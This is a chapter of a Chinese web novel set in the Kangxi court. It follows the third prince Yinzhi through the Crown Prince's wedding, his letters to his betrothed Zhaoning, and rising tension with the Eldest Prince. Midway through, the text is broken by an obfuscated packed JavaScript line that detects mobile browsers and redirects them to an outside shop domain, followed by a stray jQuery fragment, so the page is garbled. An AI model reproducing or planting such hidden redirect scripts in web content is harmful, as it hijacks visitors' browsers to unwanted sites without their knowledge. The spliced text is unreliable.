康熙三十三年秋天，太子大婚的日子终于定了下来。
消息来得突然，又不突然。石文炳去世两年多了，准太子妃的孝期已满，康熙没有再拖的理由。朝堂上那些关于“石文炳与索额图结党”的风声，在康熙的沉默中慢慢平息了，像一块石头扔进水里，涟漪一圈一圈地扩散，最终归于平静。太子还是太子，瓜尔佳氏还是太子妃的人选，一切照旧，好像什么都没发生过。
但胤祉知道，有些东西不一样了。
那天他从尚书房出来，梁九功已经在门口等着了。老太监笑眯眯地行了个礼，说：“三阿哥，万岁爷让奴才传句话——太子大婚的旨意下了，来年二月成礼。到时候您该穿的穿的，该去的去，别迟到。”
胤祉愣了一下。来年二月，那就是康熙三十四年二月。太子今年二十三了，从第一次议婚到现在，拖了整整六年。六年，够一个孩子从牙牙学语长到开笔写字。太子等这一天，等了六年。
“知道了。替我谢皇阿玛。”他说。
梁九功应了一声，走了。
胤祉站在尚书房门口，秋天的风从宫道的尽头灌进来，凉飕飕的，吹得他的袍角翻飞。他抬头看了看天，天很高很蓝，几朵白云慢悠悠地飘着，像是不急着去哪里。
他在想太子听到这个消息会是什么表情。高兴？大概不会。六年前会高兴，现在不会了。六年的时间足够磨掉很多东西——期待，兴奋，对未来的幻想。剩下的是一种“终于来了”的释然，像等了很久的船，终于靠岸了。
他沿着宫道往回走。路过御花园的时候，他往里看了一眼。银杏叶已经开始泛黄了，从边缘往里一寸一寸地染，像谁拿画笔蘸了金粉，一笔一笔描出来的。那棵银杏树下空无一人，石凳上落了几片叶子，在风里打着旋。他在门口站了一会儿，没有进去，转身继续走。
回到阿哥所，胤祉在书案前坐下来。他铺开一张纸，想给昭宁写信。提起笔，想了想，写了一行字：“太子的婚期定了，来年二月。六年前就开始议，到现在才定下来。你嫁妆准备得怎么样了？”
写完之后看了看，觉得第二句问得有点唐突，像在催她。他又加了一句：“不急。慢慢准备。我等着。”
信送出去之后，他站起来，走到窗前。院子里那棵枣树苗已经长到一尺多高了，枝干比去年粗了不少，叶子绿得发亮，在秋风中轻轻摇晃。他蹲下来看了看根部的土，有点干了，拿小水壶浇了点水。水渗进土里，发出细微的滋滋声，像它在喝水。
他浇完水，蹲在那里没起来，看着那棵小树发呆。它长了两年，才一尺多高。要长到能结枣子，不知道还要几年。但他不急。他有的就是时间。
过了两天，胤祉去宁寿宫给太皇太后请安。老太太正歪在炕上喝茶，看见他进来，招了招手。
“小三，过来坐。”
胤祉过去坐下。太皇太后打量了他一眼，目光里带着一种阅尽千帆的通透。
“太子大婚的事，知道了？”
“知道了。”
“你皇阿玛拖了六年，总算定了。”太皇太后端起茶盏，喝了一口，慢悠悠地说，“石文炳那事，你皇阿玛心里有数。说他结党，拿不出真凭实据。说他贪污，查了两年也没查出个所以然。拖了这么久，不是拖给外人看的，是拖给太子看的。”
胤祉抬起头，看着太皇太后。
老太太放下茶盏，靠在炕上，手指在佛珠上一颗一颗地拨着。她的手指枯瘦，骨节分明，指甲剪得短短的，干干净净的。
“你皇阿玛是在告诉太子——你这个太子，不是非你不可。”她的声音不大，但每个字都说得很清楚，像是在说一件很平常的事，“让太子知道怕，知道这个位置不是稳坐的，以后才会小心，才会收敛。”
胤祉没有说话。他知道太皇太后说的是对的。康熙对太子的态度，从来不是一成不变的。小时候是疼爱，长大了是培养，现在是在敲打。不是不爱了，是帝王的本能。一个太子太稳了，皇帝就不稳了。
“乌库玛嬷，”他说，“太子知道吗？”
太皇太后看了他一眼，目光里有一丝意外，大概没想到他会问这个。
“知道。”她说，“太子不傻。他知道皇阿玛在敲打他。但他能怎么办？他是太子，他只能受着。”
胤祉沉默了一会儿，点了点头。
太皇太后拨了几颗佛珠，忽然说：“小三，你那个董鄂家的丫头，今年多大了？”
“十六了。”
“十六了。”老太太重复了一遍这个数字，嘴角弯了一下，“快了。太子一成亲，就该你了。你皇阿玛心里有数，不会让你等太久。”
“孙儿不急。”
“你不急？”太皇太后看着他，目光里带着一丝笑意，“你不急，那丫头急不急？”
胤祉愣了一下，耳朵微微发热。
“她也不急。”他说。
太皇太后笑了一声，摆了摆手：“行了，去吧。该干嘛干嘛。”
出了宁寿宫，胤祉在宫道上走得很慢。他在想太皇太后说的那句话——“让太子知道怕”。康熙用六年的时间，用石文炳的案子，用无数次的冷落和不见，让太子知道怕。太子的确怕了。他见过太子在毓庆宫借酒浇愁的样子，见过太子说“我到底做错了什么”时那双干涩的红眼睛，见过太子跪在乾清宫外半个时辰康熙不见他的背影。太子怕了，怕得很深。
可是然后呢？怕完了之后呢？
他不知道。也许康熙也不知道。
秋天过得很快。一转眼到了腊月，宫里的年味浓了起来。各宫各院开始挂灯笼、贴窗花，太监宫女们脚步匆匆，手里端着各色年货来来往往。御膳房的香味能从早上飘到晚上，连尚书房都能闻着。
胤祉去永和宫给荣妃请安。荣妃正在屋里整理东西，炕上摊着几匹布料，红的、金的、粉的，花花绿绿的，铺了一炕。她看见胤祉进来，招手让他过去。
“小三，你来看看，哪匹好？”
胤祉走过去，看了看那几匹布。一匹大红织金缎子，一匹粉红妆花缎，一匹银红云纹缎。都是上好的料子，光泽柔润，手感细腻。
“都好看。额娘要做衣裳？”
“不是给我做的。”荣妃拿起那匹大红织金缎子，在手里看了看，“给昭宁做的。她明年就过门了，我该给她准备几身衣裳。”
胤祉愣了一下。明年——康熙三十四年，太子二月大婚，他的婚期还没定。但荣妃已经在准备了。
“额娘，婚期还没定呢。”
“快了。”荣妃放下缎子，拿起那匹银红的，在光下照了照，“你皇阿玛说了，太子大婚之后，就办你的。你今年十七，昭宁十六，不小了。”
她把缎子叠好，放在炕边，转过身看着胤祉。
“小三，你见过昭宁几次了？”
“三四次。”
“你觉得怎么样？”
胤祉想了想，说：“挺好的。”
“挺好的？”荣妃看着他，嘴角带着笑，“就挺好的？”
“那还能怎样？”
荣妃笑了一声，没再追问。她转过身，继续整理那些布料，一边叠一边说：“你皇阿玛给你挑的，错不了。董鄂家的门风好，那丫头我也见过几面，大大方方的，不怯场，也不张扬。配你正好。”
胤祉坐在旁边，看着荣妃叠布。她的手很巧，叠出来的布角对角，边对边，整整齐齐的。叠完一匹放一匹，像在垒城墙。
“额娘，”他说，“您不嫌她闹腾？”
荣妃的手顿了一下，然后笑出了声。
“闹腾点好。你不爱说话，找个爱说话的，家里不冷清。”她顿了顿，“再说了，你那院子太素了，连个人气都没有。她来了，好歹热闹热闹。”
胤祉想起自己那个白墙木窗、榆木家具的院子，觉得荣妃说得有道理。
从永和宫出来，胤祉碰见了五阿哥胤祺。小胖子穿着一件大红棉袍，像个红包似的，手里举着一串糖葫芦，吃得满嘴都是糖。
“三哥！三哥！”他跑过来，拽着胤祉的袖子，“你听说没？太子要成亲了！”
“听说了。”
“那你也快了！”胤祺的眼睛亮晶晶的，“三嫂什么时候进门？她好看吗？比上次好看吗？”
胤祉看着他那副兴奋的样子，忍不住笑了。
“你急什么？”
“我当然急！”胤祺理直气壮地说，“我等三嫂等了这么多年了！从我七岁等到现在，我都快十四了！”
胤祉被他说得哭笑不得，伸手在他脑袋上拍了一下。
“吃你的糖葫芦去。”
“三哥你告诉我嘛——”
“不知道。”
“骗人！”
胤祺追着他问了一路，一直追到阿哥所门口，被小路子拦住了。胤祉进了院子，关上门，听见胤祺在外面喊：“三哥你等着！太子一成亲我就去求皇阿玛！”
胤祉摇了摇头，进了屋。
腊月二十八，宫里下了今年的第一场雪。雪不大，细细密密的，像盐粒一样撒下来，落在宫墙上、屋檐上、老槐树的枝丫上，把整座紫禁城染成了一片白。胤祉站在窗前看了一会儿，然后坐回书案前，给昭宁写了一封信。
“昭宁：下雪了。今年的第一场。枣树苗被雪压弯了，我拨了拨，又直起来了。你那边下雪了吗？过年你进宫吗？要是进宫，我去慈宁宫看你。”
信送出去之后，他靠在椅背上，看着窗外的雪。雪越下越大，从细细的盐粒变成了鹅毛，一片一片地往下落，慢悠悠的，像是有什么心事。
除夕那天的宫宴，康熙喝了不少酒。
胤祉坐在自己的位子上，看着皇阿玛的脸从白变红，从红变白。康熙的酒量很好，一般不醉，但今天他喝得比往年都快，一杯接一杯，梁九功在旁边小声劝，被他瞪了一眼。
太子坐在康熙右手边，端着酒杯，表情淡淡的。他今晚话不多，别人敬酒他就喝，别人说话他就听，不主动开口，也不冷场。他的脸上看不出什么表情，但胤祉注意到，他的手一直在转酒杯，转了整整一晚。
大阿哥坐在左手边，倒是话多。他跟旁边的几个大臣聊得热火朝天，笑声一阵一阵的，传到胤祉耳朵里，像远处的闷雷。
胤禛坐在胤祉旁边，从头到尾没怎么说话。他杯子里是白水，没人来敬他，他也不去敬别人，就那么安静地坐着，偶尔跟胤祉碰一下杯。
胤祺喝了两杯果酒，脸红得像猴屁股，趴在桌上睡着了。胤祉把自己的斗篷解下来，披在他身上。
散席的时候，雪停了。地上的积雪有半尺厚，踩上去咯吱咯吱响。胤祉沿着宫道往回走，灯笼的光照在雪地上，把整条宫道照得亮堂堂的，像是白昼。
他走得慢，脑子里乱七八糟的。太子的婚期定了，大阿哥的笑声还在他耳朵里响，四弟一整晚没说几句话，五弟趴在桌上睡着了，荣妃在给他未来的福晋准备衣裳。
他想起昭宁。不知道她今晚在董鄂府是怎么过的，大概也在吃年夜饭，大概也被长辈催着说吉祥话，大概也在想他。
他加快脚步，回了阿哥所。
康熙三十四年正月，宫里开始忙碌起来。太子大婚在即，各宫各院都在准备，礼部的官员进进出出，乾清宫、毓庆宫、坤宁宫，到处是脚步声和说话声。
胤祉的日子照旧。尚书房、骑射课、永和宫、慈宁宫，四点一线。但他心里多了一件事——大阿哥看他的眼神变了。
以前是“不值一提”的淡，现在是“你也在”的冷。不是敌意，敌意是热的。是冷，是那种“你站在这里就是碍事”的冷。他不知道为什么。他什么都没做，什么都没说，不站队，不掺和。但他站在这里，本身就是大阿哥眼中的一根刺。
不是因为他做了什么，是因为他是老三。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594081|203971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在他之前有太子，有大哥。太子是挡在大阿哥前面的第一堵墙，他是第二堵。大阿哥推不倒太子，就把目光投向他。
有一天散学后，大阿哥在尚书房门口拦住了他。
“三弟。”他靠在廊柱上，双手抱胸，姿态随意，但那双眼睛不随意。
胤祉停下来，行了个礼：“大哥。”
“太子要成亲了。”
“是。”
“成亲之后，就该你了。”大阿哥看着他，嘴角带着一丝笑，但那笑容不到眼底，“你那个董鄂家的丫头，等了你好几年了吧？”
胤祉没有说话。
“三弟，”大阿哥直起身，走到他面前，比他高半个头，说话的时候微微低着头，像是在看一个不太重要的东西，“你这个人，不争不抢，不惹事，不多嘴。我以前觉得你没出息，现在我觉得——你这种人，其实最可怕。”
胤祉抬起头，看着他的眼睛。
“大哥什么意思？”
“没什么意思。”大阿哥拍了拍他的肩膀，力道不轻不重，像是随手的动作，但拍下去的时候顿了一下，“就是想告诉你——快了。太子成了亲，你就是下一个。到时候，你躲不掉的。”
他走了。靴子踩在石板地上，笃笃笃的，不紧不慢。
胤祉站在原地看着他的背影，站了一会儿，然后转身往阿哥所走。
他不怕大阿哥。大阿哥不是坏人，就是太傲了。觉得天底下就他最能耐，别人都不如他。这种人的攻击不是出于恶意，是出于“你不配站在这里”的认知。你没办法跟这种人讲道理，因为他不觉得你有资格跟他讲道理。
回到阿哥所，胤祉在书案前坐下来。他铺开一张纸，想写点什么，又不知道写什么。笔拿起来，又放下了。
他站起来，走到窗前。院子里那棵枣树苗被雪埋了半截，只露出上半身，叶子早就掉光了，光秃秃的枝干在风中微微颤抖。他看了一会儿，转身回去，拿起了书。
二月初八，太子大婚。
天还没亮，胤祉就被小路子叫醒了。他穿上礼服，去了乾清宫。站在观礼的人群中，他看见太子穿着吉服骑着高头大马从宫门外迎亲回来，身后是八抬大轿，红绸帷幔，金顶流苏。唢呐声、锣鼓声混在一起，震得人耳朵嗡嗡响。
太子的脸上带着笑。那笑容不是装出来的，是真心的。等了六年，终于等到了这一天。不管之前有多少波折，不管康熙敲打过他多少次，不管大阿哥在背后使了多少绊子，这一天，他是主角。整个紫禁城都在为他忙碌，所有人都在看他。
胤祉站在人群中，看着太子和新娘拜堂。新娘盖着红盖头，看不见脸，但她的身姿很稳，行礼的动作不急不慢，每一步都做到位，挑不出毛病。
拜完堂，太子牵着红绸的一端，领着新娘往洞房走。经过胤祉身边的时候，太子的目光落在他脸上，停了一瞬，嘴角弯了一下，然后走了。
那一弯，不是笑，是“轮到你了”。
婚宴上，太子被灌了不少酒。他的脸红了，眼睛也红了，但一直笑着。胤祉没有去敬酒，他坐在自己的位子上，喝着杯里的果酒，看着满殿的热闹。大阿哥端着酒杯来回敬酒，笑得比平时更大声。四弟坐在他旁边，还是不说话，但他今晚杯子里不是白水了，是酒，他喝了两杯，脸红了，耳朵也红了。
五弟今晚没来。他前天生了病，皇太后不让他出门。
散席的时候，天已经黑透了。胤祉沿着宫道往回走，灯笼的光照在雪地上，把他的影子拉得又细又长。他走得不快不慢，脑子里在想太子那句话——“轮到你了”。
是的，轮到你了。
他加快脚步，回了阿哥所。
第二天，胤祉去毓庆宫道贺。太子正在东暖阁里喝茶，穿着一件石青色常服袍子，没戴帽子，头发束着。他看见胤祉进来，招了招手。
“三弟，过来坐。”
胤祉过去坐下。太子给他倒了杯茶，茶汤清亮，香气扑鼻。
“昨天累坏了。”太子说，“比打仗还累。”
胤祉笑了笑：“殿下又没打过仗。”
“没打过，但我想象过。”太子端起茶杯，喝了一口，靠在椅背上，长长地呼了一口气，“三弟，你知道我等这一天等了多久吗？”
“六年。”
“六年。”太子重复了一下这个数字，像是在称它的重量，“从第一次议婚到现在，整整六年。六年前我才十八，现在二十四了。六年的时间，够一个孩子从出生到开笔写字。”
他放下茶杯，看着窗外的天。天很蓝，蓝得透亮，几朵白云慢悠悠地飘着。
“但值了。”他说，“她很稳。”
胤祉知道他说的是太子妃。
“那就好。”他说。
太子点了点头，没有再说话。两个人就那么坐着，喝茶，看天，偶尔说一句有的没的。坐了小半个时辰，胤祉站起来告辞。
走到门口的时候，太子在身后叫住了他。
“三弟。”
他回过头。
太子还坐在那里，日光透过窗纱照在他脸上，把他眉眼照得很柔和。
“该你了。”
胤祉笑了笑，推门出去了。
出了毓庆宫，他在宫道上走了一会儿，然后停下来，仰头看了看天。天很蓝，蓝得透亮，几朵白云慢悠悠地飘着。他看了一会儿，然后加快脚步，回了阿哥所。
他给昭宁写了一封信。
“昭宁：太子大婚了。皇阿玛说了，太子大婚之后就办我的。快了。你嫁妆准备得怎么样了？枣树苗又长高了，叶子还没长出来，但枝干粗了不少。等它长到能结枣子的时候，你应该已经过门了。”
信送出去之后，他站在窗前，看着院子里那棵光秃秃的枣树苗。它在雪地里站了一个冬天，枝干被风吹得微微弯曲，但没断。他看了好一会儿，然后转身，拿起了桌上的书。